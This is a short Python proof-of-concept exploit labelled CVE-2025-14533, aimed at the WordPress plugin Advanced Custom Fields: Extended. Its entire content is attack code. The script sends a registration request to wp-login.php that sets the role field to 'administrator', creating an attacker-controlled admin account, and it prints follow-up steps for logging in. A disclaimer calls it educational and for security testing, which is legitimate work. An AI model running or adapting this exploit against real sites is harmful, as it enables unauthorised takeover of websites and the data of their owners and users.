CVE-2025-14533

#!/usr/bin/env python3 """ CVE-2025-14533 PoC - Advanced Custom Fields: Extended Privilege Escalation Note: This PoC is for educational and security testing purposes only. """ import requests import sys TARGET_URL = "https://target-site.com" def exploit_privilege_escalation(): """ Exploit the privilege escalation vulnerability in ACF Extended plugin. The plugin fails to restrict roles during user registration. """ # Registration endpoint (usually wp-login.php?action=register or custom endpoint) register_url = f"{TARGET_URL}/wp-login.php?action=register" # Attacker-controlled registration data # The 'role' parameter is not properly validated by the plugin payload = { 'user_login': 'attacker_account', 'user_email': '[email protected]', 'role': 'administrator', # This is the key - plugin accepts this role 'wp-submit': 'Register' } try: response = requests.post(register_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Registration request sent successfully") print("[+] If successful, attacker now has administrator access") print("[+] Next steps: Login with created credentials") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": print("CVE-2025-14533 - ACF Extended Privilege Escalation PoC") print("=" * 50) exploit_privilege_escalation()

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